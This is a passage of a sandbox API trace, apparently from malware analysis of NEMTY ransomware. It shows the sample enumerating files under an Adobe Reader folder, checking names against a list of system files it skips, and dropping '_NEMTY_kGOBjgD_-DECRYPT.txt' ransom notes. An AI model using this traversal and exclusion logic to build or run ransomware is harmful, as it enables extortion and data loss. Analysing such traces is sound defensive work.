lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.042] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac39570, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ac39570, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac39570, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.042] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.042] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2=".") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="..") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="...") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="windows") returned -1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="$RECYCLE.BIN") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="rsa") returned -1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="NTDETECT.COM") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="ntldr") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="MSDOS.SYS") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="IO.SYS") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="boot.ini") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="boot.ini") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="AUTOEXEC.BAT") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="ntuser.dat") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="desktop.ini") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="CONFIG.SYS") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="RECYCLER") returned -1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="BOOTSECT.BAK") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="bootmgr") returned 1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="programdata") returned -1 [0173.042] lstrcmpiW (lpString1="POL", lpString2="appdata") returned 1 [0173.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="POL", lpUsedDefaultChar=0x0) returned 3 [0173.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="POL", lpUsedDefaultChar=0x0) returned 3 [0173.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.044] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.044] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.045] CloseHandle (hObject=0x254) returned 1 [0173.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.046] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.046] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.047] CloseHandle (hObject=0x254) returned 1 [0173.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.047] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ac85830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac85830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.047] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.047] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ac85830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac85830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.047] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.048] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.048] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.048] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.049] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.049] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.050] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.050] Sleep (dwMilliseconds=0x5) [0173.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1acd1af0, dwHighDateTime=0x1d561e8)) [0173.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1acd1af0, dwHighDateTime=0x1d561e8)) [0173.064] GetLastError () returned 0xb7 [0173.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.064] GetLastError () returned 0xb7 [0173.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.064] 